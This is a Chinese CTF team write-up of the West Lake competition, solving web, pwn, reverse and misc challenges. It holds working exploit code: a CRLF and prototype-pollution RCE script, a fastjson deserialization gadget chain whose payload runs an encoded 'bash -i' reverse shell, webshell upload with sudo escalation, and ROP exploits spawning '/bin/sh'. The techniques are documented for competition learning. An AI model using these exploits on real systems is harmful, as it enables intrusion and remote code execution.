Back

西湖论剑 Writeup by or4nge

开年后的第一战,or4nge的师傅们火力全开,在西湖论剑初赛上斩获全国第九名的好成绩,web和Re方向几乎ak!

Web

扭转乾坤

apache层面的waf说content-type不能是multipart/form-data,结合题目描述利用tomcat和apache对content-type理解差异性大小写绕过后随意上传文件即可获取flag。

real_ez_node

CRLF注入+原型链污染+ejs模板注入

import requests
import urllib

url = "http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/"

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Length: 159
Content-Type: application/json

{"constructor.prototype.outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');var __tmp2"}

GET / HTTP/1.1
test:'''.replace('\n','\r\n')

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)

print(payload)
r = requests.get(url + "curl?q=" + urllib.parse.quote(payload))
print(r.text)

访问首页即可下载flag文件。

real world git

忘记密码的逻辑中,生成的验证码只跟邮箱和时间戳有关系,没有引入随机数,本地跑一下就能跑出来,然后利用这个验证码重置root@codefever.cn的密码,再登录就可以看到flag了。

<?php
// this function use to generated uuid
namespace service\Utility;

define('TOTP_SALT', 'codefever-salt');

class TOTP {

    const SALT = 'codefever_salt';
    const TOTP_REFRESH_INTERVAL = 30;
    const TOTP_CHECK_WINDOW_MIN = -10;
    const TOTP_CHECK_WINDOW_MAX = 10;
    const PASSWORD_LENGTH = 6;

    static private function hashInput (string $input) {
        $salt = self::SALT;
        if (TOTP_SALT) {
            $salt = TOTP_SALT;
        }

        $input = $input ? $input : self::SALT;

        return hash('sha256', md5($input) . md5($salt), FALSE);
    }

    static private function genTotp (string $hashedInput, int $timestamp) {
        $sequence = floor($timestamp / 30);
        $code = hash_hmac('sha256', $hashedInput . md5($sequence), md5($sequence), TRUE);

        $finalValue = 0;
        $index = 0;

        do {
            $finalValue += ord($code[$index]);
            $finalValue = $finalValue << 2;
            $index++;
        } while (isset($code[$index]));

        return $finalValue;
    }

    static private function trimTotp (int $sourceTotp) {
        $trimedTotp = $sourceTotp % pow(10, self::PASSWORD_LENGTH);
        $format = "%'.0". self::PASSWORD_LENGTH ."u";
        return sprintf($format, abs($trimedTotp));
    }


    static function generate(string $input) {
        return self::trimTotp(self::genTotp(self::hashInput($input), time()));
    }

    static function check(string $input, string $code) {
        $hashedInput = self::hashInput($input);
        $currentTime = time();
        for (
            $windowIndex = self::TOTP_CHECK_WINDOW_MIN;
            $windowIndex <= self::TOTP_CHECK_WINDOW_MAX;
            $windowIndex++
        ) {
            if (
                $code === self::trimTotp(
                    self::genTotp(
                        $hashedInput, 
                        $currentTime + ($windowIndex * self::TOTP_REFRESH_INTERVAL)
                    )
                )
            ) {
                return TRUE;
            }
        }

        return FALSE;
    }
}
$email = 'root@codefever.cn';
echo TOTP::generate($email);

unusual php

能AFR,显示的报错是/tmp/fuck.php执行的,对index.php产生怀疑,直接读index.php发现是乱码,用伪协议读到二进制文件猜测是密文,应该是开启了zend扩展。阅读phpinfo发现存在zend-test的扩展。

扩展位置:/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so 对.so文件进行逆向,在my_compile_file函数中看到大概逻辑,读文件,用rc4解密后zend_stream_open到/tmp/fuck.php然后执行,密钥是abcsdfadfjiweur 对一句话木马进行rc4加密,上传至远程,即可rce。 拿到shell后尝试suid提权未果,尝试sudo -l提权发现chmod不需要密码,故把flag的权限改为可读即可读到flag。

Node Magical Login

flag1是通过设置cookie的user=admin键值对获得。

flag2通过这种方式获取:

try{
    checkcode = checkcode.toLowerCase()
    if(checkcode !== "aGr5AtSp55dRacer"){
        res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
    }
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})

发现获取flag不在try语句块内,尝试在tolowerCase处触发异常,传一个长度为16的数组,元素中不是字符即可触发异常,直接给flag2。

easy_api(*)

前半部分bypass filter是不小心多打了一个斜杠绕过去的//api/test 后面的反序列化部分注意到了lib里有这些依赖,给的又是原生反序列化入口,所以无视了fastjson。

发现yso里正好有一个现成的

Spring2     @mbechler      spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aop
alliance:1.0, commons-logging:1.2 

就想当然的去复现spring2的链子,后来发现spring版本对不上已经来不及了。 fastjson最经典的部分是自动触发getter来getProperties加载字节码,如何触发getter可以通过JSON.parse触发,也可以通过toJSONString触发,很有意思的是JSON这个类的tostring就是toJSONString

思路很明确了,题目ban了BadAttributeValueExpException来触发tostring,用xstring来触发,复制之前的部分即可。利用链:readObject->hashmap.put->xstring.tostring->JSON.tostring->templates.getproperties 最后的exp:

package com.example;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;

public class api_test_payload {
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(fucktemplate.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "fucktemplate");
        setFieldValue(templates, "_class", null);
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("jb", templates);
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        try{
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
            outputStream.writeObject(s);
            System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
            outputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

fucktemplate部分:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class fucktemplate extends AbstractTranslet {

    public fucktemplate() {
        super();
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaS***==}|{base64,-d}|{bash,-i}");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Pwn

babycalc

z3解方程

from z3 import *
v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints('v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18')
solver = Solver()
solver.add(v5 * v4 * v3 - v6 == 0x8D56)
solver.add(v3 == 0x13)
solver.add(v5 * 0x13 * v4 + v6 == 0x8DE2)
solver.add((v13 + v3 - v8) * v16 == 0x8043)
solver.add((v5 + v4 * v3) * v6 == 0xC986)
solver.add(v9 * v8 * v7 - v10 == 0xF06D)
solver.add(v10 * v15 + v4 + v18 == 0x4A5D)
solver.add(v9 * v8 * v7 + v10 == 0xF1AF)
solver.add((v8 * v7 - v9) * v10 == 0x8E03D)
solver.add(v11 == 0x32)
solver.add((v9 + v8 * v7) * v10 == 0x8F59F)
solver.add(v13 * v12 * v11 - v14 == 0x152FD3)
solver.add(v13 * v12 * v11 + v14 == 0x15309D)
solver.add((v12 * v11 - v13) * v14 == 0x9C48A)
solver.add((v11 * v5 - v16) * v12 == 0x4E639)
solver.add((v13 + v12 * v11) * v14 == 0xA6BD2)
solver.add(v17 * v16 * v15 - v18 == 0x8996D)
solver.add(v17 * v16 * v15 + v18 == 0x89973)
solver.add(v14 == 0x65)
solver.add((v16 * v15 - v17) * v18 == 0x112E6)
solver.add((v17 + v16 * v15) * v18 == 0x11376)
print(solver.check())
print(solver.model())

输入0x100字节能覆盖rbp的最低位为零,这个地址有几率落在buf里。buf溢出控制i能实现向前无数字节改写和向后一字节改写,改写返回地址为一个leave ret指令栈迁移泄露libc然后返回0x400c1b再来一次栈迁移执行system(’/bin/sh')

from pwn import *
#from LibcSearcher import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

p=remote('tcp.cloud.dasctf.com',24101)
#p=process('./babycalc')
elf=ELF('./babycalc')
#gdb.attach(p)
v=[19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3]
s=b''
for i in v:
    s+=i.to_bytes(1,'little')
print(s)
ret_addr=0x400c19
pop_rdi=0x400ca3
payload=b'24'+b'\x00'*6+p64(ret_addr)*21+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400c1b)+s+b'\x00'*28+b'\x38'+b'\x00\x00\x00'
p.sendafter(b'number-1:',payload)
p.recvuntil(b'good done\n')

#leak libc
x=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
puts_addr=u64(x)
print(hex(u64(x)))
#libc=LibcSearcher("puts",puts_addr)
libcbase=u64(x)-0x06f6a0
print(hex(libcbase))

#system('/bin/sh')
system_addr=libcbase+0x0453a0
bin_sh_addr=libcbase+0x18ce57
shellcode=b'24'+b'\x00'*6+p64(ret_addr)*22+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+s+b'\x00'*28+b'\x38'+b'\x00'*3
p.send(shellcode)
#p.recvuntil(b'good done\n')
p.interactive()
#pause()

Message Board

给了一个只能用一次的格式化字符串,一个长度足够长溢出0x10字节的栈可以用来做frame faking,泄露libc,题目中有沙箱,构造orw拿到flag

from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process("./pwn")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
else:
    p = remote("tcp.cloud.dasctf.com", 23625)
    libc = ELF("./libc.so.6")
    
def debugf(b=0):
    if debug:
        if b:
            # gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
            gdb.attach(p,"b *({b})".format(b = hex(b)))
        else:
            gdb.attach(p)
            
elf = ELF('./pwn')

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

# debugf(0x401373)

pop_rdi = 0x0000000000401413
pop_rsi = 0x0000000000401411
p.send(b"%p")

p.recvuntil("Hello, ")
stack_address=int(p.recvuntil("N")[:-1].decode(),16)
print(hex(stack_address))
# u64([-6:].ljust(8, b"\x00")) 
leave = 0x4013A2
payload = p64(pop_rdi) + p64(0x404028) + p64(0x4010E0) + p64(0x401150) + b"e"*0x90 + p64(stack_address + 0x8) + p64(leave)
p.send(payload)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
print(hex(libc.address))
payload2 = p64(pop_rdi) + p64(0x4040B0) + p64(libc.sym["gets"]) + p64(0x401150) + b"e"*0x90 + p64(stack_address -0x180 + 0x8) + p64(leave)
p.send(payload2)
p.recvuntil("Successfully~")

p.send(b"./flag\x00\x00\n")

payload3 = p64(pop_rdi) + p64(0x4040b0) + p64(pop_rsi) + p64(0)*2 + p64(libc.sym["open"]) + p64(0x401150)+ b"e"*0x78 + p64(stack_address -0x300 + 0x8) + p64(leave)
# payload = p64(pop_rdi) + p64(0x404028) + p64(0x4010E0) + p64(0x401150) + b"e"*0x90 + p64(stack_address - 0x300 + 0x8) + p64(leave)
# p.send(payload)
p.send(payload3)

payload4 = p64(0x40140A) + p64(0) + p64(1) + p64(3) + p64(0x4040e0) + p64(0x40) + p64(0x404048) + p64(0x4013F0) + b"a"*56 
payload4 += p64(pop_rdi) + p64(1) + p64(libc.sym["write"])
payload4 += p64(0x401150)+ b"e"*0x18 + p64(stack_address -0x460 + 0x8) + p64(leave)
print(len(payload4))
print(len(payload3))
p.send(payload4)
p.interactive()

Reverse

Dual personality

程序设计了天堂之门转换架构,在函数401120后会从x86架构转为x64,同时函数401120会处理地址407050,将其填为一个给定的函数地址

那么分析整个main函数的流程(4013a0~4015ee)可得: 4013d4在x86架构下进行了输入操作; 4013e3在x64架构下将后文将要用到的值(这里称作delta)做了初始化; 4013f4~40144a在x86架构下进行了第一次加密; 401455在x64架构下进行了第二次加密(做循环左移); 401462在x64架构下对异或的key进行处理; 40146e~4014ba在x64架构下进行了第三次加密(异或); 最后与已知密文进行了比较。 按照流程逆序写出解密过程即可

cipher=[0x0AA,0x4F,0x0F,0x0E2,0x0E4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0x0BC,0x8F,0x8B,0x78,0x0D3,0x73,0x88,0x5E,0x0AE,0x47,0x85,0x70,0x31,0x0B3,0x9,0x0CE,0x13,0x0F5,0x0D,0x0CA]
print(len(cipher))
key=[0x9d,0x44,0x37,0xb5]
key[0]&=key[1]
key[1]|=key[2]
key[2]^=key[3]
key[3]=(~key[3])&0xff
for i in range(32):
    cipher[i]^=key[i%4]

def ror(a,b,c=64):
    return (a>>b)|((a<<(c-b))&((1<<c)-1))
cipher=[int.from_bytes(bytes(cipher[i:i+8]),'little') for i in range(0,32,8)]
cipher[0]=ror(cipher[0],12)
cipher[1]=ror(cipher[1],34)
cipher[2]=ror(cipher[2],56)
cipher[3]=ror(cipher[3],14)
cipher=b''.join([i.to_bytes(8,'little') for i in cipher])

delta=0x5DF966AE-0x21524111
cipher=[int.from_bytes(cipher[i:i+4],'little') for i in range(0,32,4)]

for i in range(8):
    delta_next=delta^cipher[i]
    cipher[i]-=delta
    cipher[i]&=0xffffffff
    delta=delta_next
text=b''.join([i.to_bytes(4,'little') for i in cipher])
print(text)

Berkeley

程序包含调试信息,注释中含有源码。提取ebpf字节码逆向发现和源码对应。加密逻辑十分简单,直接Z3求解。

key_hex = 'C1D10261D6F713A29B20D04A8F7FEEB9006334B033B78A8B94602E8E21FF9082D587967822B6486C45C75A1680FDE48CBF011F4B7924A0B4234D3BC55D6F0DC9D4CA55E039AD2BCD2CECC26B30E60CA89A2FF6E8BB3257FB0B9DF23FB5F959E510CF5141E950DF267458CB645473ABF4B29F18F84EFE081D4F49D3AC3812771169071C99B3E73D05D8FC704693096589B1C652FAD20EA917E391A1685B2AF0C342CC29DEDC8598315CBC2DEF5E7EAF6762A75688A44340E1379E36767184BD068D477D53D7C8CE1592954C286D75EB7CF3BEAAB8ED033C273E19DDA666251EC46EC0E2DB3AD981A51BF504AEBAEA97833544A37A1AF186DA7B14729C6A0F5F0A00'
key = bytearray.fromhex(key_hex)

cipher_hex = 'F327471B8F09FB177048B05332DBC0B8632D404BF516F035E7DFEAA29C41B325D70C339C7B5ACD13BBEE3E0EF2CF35DAAFA2667D3837671E1F6B7B300B7A02A9C8612741DB0122316FB6D41B04D394B846C724CFBDAF0BDC2EBBB271F4995736D1955292BA6DF33050599BEA2F83DCF0DE57A1ACD251A21D59A800B6E265410C4FEBF02E582A1FF49572887CA90ECB3C42B9F3499B529812A31751C059400ABCE84C04FB130A173FE63697DFB3E2427FF8CC0ED177C4A84648E3F10AEF9456545BCABDDD7F5647C299FA89CCE1B93A78E23758011BC34BE68CF3E5B6719E63AF11CE87F66EDEC8B1D07A156C1008997B2255107A8273FC62CB34A7B762FA6B9F'
cipher = bytearray.fromhex(cipher_hex)

fake_cipher_hex = '2095209580AAFFC04AAE8A5C0D8D1F6D0D8DA215EEF34DC87F7523CED150C1DF'
fake_cipher = bytearray.fromhex(fake_cipher_hex)

from z3 import *

s = Solver()
flag = [BitVec(('x%d' % i), 8) for i in range(32)]
arr = [BitVec(('arr%d' % i), 8) for i in range(8)]

for i in range(256):
    idx1 = key.index(cipher[i]) ^ key[i]
    idx2 = key.index(idx1)
    uc1 = flag[i//8]
    uc2 = (~(flag[i//8] + arr[i%8]))&0xff
    s.add(uc1 ^ uc2 == idx2)
for i in range(32):
  s.add(flag[i] >= 47)
  s.add(flag[i] <=122)

if s.check()==sat:
    print("sat")
    for i in range(32):
      print(str(s.model()[flag[i]])+ ', ', end='')
    
print('')
l = [55, 49, 99, 50, 97, 99, 57, 56, 97, 99, 56, 100, 57, 57, 97, 50, 101, 56, 97, 57, 53, 49, 49, 49, 52, 52, 57, 97, 55, 51, 57, 51]
res = ''

for i in range(len(l)):
  res += chr(l[i])
print(res)

BabyRE

此程序在preinitialize阶段就完成了整个流程,分析40615c所在的三个函数即可

401000输入,并用atexit存了一个rc4加密的函数 401050做初始化,并用atexit存了一个sha1算法 4010c0用atexit存了一个base编码算法 按照atexit的性质,它们应当从后往前执行,即先编码,再做sha1(但此处的sha1仅是一个校验,并不算中间过程),再进行rc4. 经过分析可知,rc4加密的密钥由输入得来,当输入超过42个字符时,超出的六个字符即是rc4的密钥 根据输入限制,密钥在0~9之间,且后96位的明密文对是已知的,直接爆破

s=[i for i in range(256)]

cipher=[0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61, 0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08, 0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76, 0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF, 0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8, 0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11, 0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD, 0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84, 0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0, 0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D, 0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE, 0xB0, 0x70]
mid=[0]*16+[0x31, 0x36, 0x32, 0x33, 0x30, 0x34, 0x36, 0x35, 0x31, 0x35, 0x32, 0x33, 0x33, 0x34, 0x36, 0x32, 0x31, 0x34, 0x34, 0x33, 0x31, 0x34, 0x37, 0x31, 0x31, 0x35, 0x30, 0x33, 0x31, 0x30, 0x37, 0x30, 0x31, 0x35, 0x30, 0x33, 0x32, 0x30, 0x37, 0x31, 0x31, 0x36, 0x30, 0x33, 0x32, 0x30, 0x36, 0x33, 0x31, 0x34, 0x30, 0x33, 0x33, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x34, 0x34, 0x36, 0x31, 0x31, 0x34, 0x34, 0x33, 0x34, 0x30, 0x36, 0x36, 0x31, 0x34, 0x32, 0x33, 0x30, 0x34, 0x36, 0x36, 0x31, 0x35, 0x36, 0x33, 0x34, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x30, 0x34, 0x36, 0x34]

# 枚举6位十进制的key
for j1 in range(0x30,0x3a):
    for j2 in range(0x30,0x3a):
        for j3 in range(0x30,0x3a):
            for j4 in range(0x30,0x3a):
                for j5 in range(0x30,0x3a):
                    for j6 in range(0x30,0x3a):
                        key=[j1,j2,j3,j4,j5,j6]
                        v6=0
                        for i in range(256):
                            s[i]=i
                        for i in range(256):
                            v6=(v6+key[i%6]+s[i])%256
                            s[i],s[v6]=s[v6],s[i]
                        flag=1
                        v7,v6=0,0
                        for i in range(112):
                            v7=(v7+1)%256
                            v6=(v6+s[v7])%256
                            s[v7],s[v6]=s[v6],s[v7]
                            if i<16:
                                continue
                            if cipher[i]^s[(s[v6]+s[v7])%256]!=mid[i]:
                                flag=0
                                break
                        if flag==1:
                            print(j1,j2,j3,j4,j5,j6)
                            exit(0)

得到密钥[56,48,55,51,57,49],再进行常规的解密即可

def base83decode(num):
    bina=''
    for i in num:
        bina+=bin(int(chr(i)))[2:].rjust(3,'0')
    return [int(bina[i:i+8],2) for i in range(0,len(bina),8)]

key=[56,48,55,51,57,49]
for i in range(256):
    s[i]=i
v6=0
for i in range(256):
    v6=(v6+key[i%6]+s[i])%256
    s[i],s[v6]=s[v6],s[i]
v7,v6=0,0
for i in range(112):
    v7=(v7+1)%256
    v6=(v6+s[v7])%256
    s[v7],s[v6]=s[v6],s[v7]
    cipher[i]^=s[(s[v6]+s[v7])%256]
txt=base83decode(cipher)
print(bytes(txt+key))

Misc

签到

使用HexEditor查看图片发现尾部有汉字编码,向公众号发送“西湖论剑2023我来了!”得到flag。

mp3

HexEditor查看MP3文件发现png格式头89504E47。

提取图片,Stegsolve查看lsb隐写,发现任意勾选三通道之一可以解出一个zip压缩包。 提取压缩包数据发现已被加密,mp3stego查看mp3文件中是否含有隐写,这里存在非预期:输入任意passphrase都可以分离出包含压缩包口令的txt文件,最终得到压缩包口令8750d5109208213f。 解压得到47.txt,猜测内容经过了ROT47处理,还原得到一串JJEncode混淆编码,输入chrome控制台拿到flag。